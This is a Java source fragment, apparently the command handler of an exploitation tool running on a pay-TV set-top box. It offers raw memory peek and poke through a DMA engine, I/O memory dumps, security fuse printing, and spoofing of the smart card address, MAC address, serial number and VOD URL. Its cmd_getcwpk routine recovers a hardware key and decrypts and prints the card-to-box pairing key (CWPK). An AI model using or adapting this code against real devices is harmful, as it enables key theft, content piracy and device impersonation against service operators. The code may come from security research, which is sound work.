 public void cmd_tkdpeek16() throws Throwable {
  int off=read_int();
    
  int val=STTKDMA.tkdma_read16(off);

  Output.text("off 0x"+Utils.hex_value(off,4)+" = 0x"+Utils.hex_value(val,4));
  Output.end();
 }

 public void cmd_tkdpeek32() throws Throwable {
  int off=read_int();
    
  int val=STTKDMA.tkdma_read(off);

  Output.text("off 0x"+Utils.hex_value(off,4)+" = 0x"+Utils.hex_value(val,8));
  Output.end();
 }

 public void cmd_tkdpoke8() throws Throwable {
  int off=read_int();
  int val=read_int();

  STTKDMA.tkdma_write8(off,val&0xff);

  Output.end();
 }

 public void cmd_tkdpoke16() throws Throwable {
  int off=read_int();
  int val=read_int();

  STTKDMA.tkdma_write16(off,val&0xffff);

  Output.end();
 }

 public void cmd_tkdpoke32() throws Throwable {
  int off=read_int();
  int val=read_int();

  STTKDMA.tkdma_write(off,val);

  Output.end();
 }

 public void cmd_iomem() throws Throwable {
  int off=read_int();
  int size=read_int();

  size=(size+3)&0xfffffffc;

  byte data[]=new byte[size];

  for(int i=0;i<size;i+=4) {
   int val=STTKDMA.iomem_read(off+i);

   data[i+0]=(byte)(val&0xff);
   data[i+1]=(byte)((val>>8)&0xff);
   data[i+2]=(byte)((val>>16)&0xff);
   data[i+3]=(byte)((val>>24)&0xff);
  }

  Output.data(data);

  flush();
 }

 public void cmd_stbprops() throws Throwable {
  SysEnv.stb_print_props();

  Output.end();
 }

 public void cmd_isolate() throws Throwable {
  STBIsolate.enable();

  Output.end();
 }

 public void cmd_scwatch() throws Throwable {
  int action=read_int();

  boolean res=false;

  switch(action) {
   case SCWatchDefs.SC_RUN:    
    if (scwatch==null) {
     scwatch=new SCReqRespWatch();
     SCInterface.add_watch(scwatch);
    }

    scwatch.enable();
    res=true;
    break;

   case SCWatchDefs.SC_STOP:
    if (scwatch!=null) {
     scwatch.disable();
     res=true;
    } else res=false;
    break;

   case SCWatchDefs.SC_STATUS:
    if (scwatch!=null) {
     res=scwatch.enabled();
    } else res=false;
    break;
  }

  write_boolean(res);
  flush();
 }

 public void cmd_nostbprops() throws Throwable {
  STBIsolate.disable_stb_settings();
 }

 public void cmd_stbprop() throws Throwable {
  String prop=read_string();
  String val=read_string();

  STBIsolate.stb_set_prop(prop,val);
 }

 public void cmd_cardaddr() throws Throwable {
  String addr=read_string();

  Spoof.set_cardaddr(addr);
 }

 public void cmd_macaddr() throws Throwable {
  String addr=read_string();

  Spoof.set_mac(addr);
 }

 public void cmd_serial() throws Throwable {
  String sn=read_string();

  Spoof.set_sn(sn);
 }

 String time_info(long from) {
  long secs=(System.currentTimeMillis()/1000L)-from;

  long min=secs/60L;
  long sec=secs%60;

  String time=""+min+" min "+sec+" sec";

  return time;
 }

 public void cmd_getcwpk() throws Throwable {
  Output.text("getting CWPK (this may take several minutes)");
  Output.flush();

  int status=STTKDMA.load_cwpk_code();

  if (status==-1) {
   Output.text("error: other Slim code is still running!");
   Output.flush();
   return; 
  }

  Output.text("- initializaing KEY 0x15 entry");
  Output.flush();

  STTKDMA.run_cwpk_code(0);
  int res[]=STTKDMA.wait_for_tkdcode();

  Output.text("- discovering TDES approximation of KEY 0x15 entry");
  Output.flush();

  long start_time=System.currentTimeMillis()/1000L;

  for(int i=0;i<4;i++) {
   long time=System.currentTimeMillis()/1000L;
   STTKDMA.run_cwpk_code(1+i);
   res=STTKDMA.wait_for_tkdcode();
   Output.text("  found KEY"+i+" 0x"+Utils.hex_value(res[0],8)+" ("+time_info(time)+")");
   Output.flush();
  }

  Output.text("- discovering exact value of KEY 0x15 entry");

  STTKDMA.run_cwpk_code(5);
  res=STTKDMA.wait_for_tkdcode();
  Output.text("  found KEY 0x15 "+Utils.hex_value(res[0],8)+" "+Utils.hex_value(res[1],8)+" "+Utils.hex_value(res[2],8)+" "+Utils.hex_value(res[3],8));

  Output.text("- decrypting CWPK");
  Output.flush();

  STTKDMA.run_cwpk_code(6);
  int cwpk[]=STTKDMA.wait_for_tkdcode();

  STTKDMA.set_cwpk(cwpk);

  int buf=NativeCode.getInstance().malloc(0x80);  

  for(int i=0;i<4;i++) {
   int val=cwpk[i];
   Memory.write_dword(buf+4*i,val);
  }

  byte tab[]=Utils.buf2barray(buf,0x10);
  MPEG.print_buf(2,tab);

  NativeCode.getInstance().free(buf);  

  Output.text("total time: "+time_info(start_time));
  Output.end();
 }

 public void cmd_secfuses() throws Throwable {
  STSecFuses.print();

  Output.end();
 }

 public void cmd_ivodurl() throws Throwable {
  boolean set=read_boolean();

  if (set) {
   String vodurl=read_string();
   Spoof.set_ivodurl(vodurl);
  } else {
   String vodurl=Spoof.get_ivodurl();
   Output.text("ivod url: "+vodurl);
  }

  Output.end();
 }

 public void cmd_test() throws Throwable {
  String str=read_string();
 
  Output.text("cmd arg: "+str);
  Output.end();
 }
}
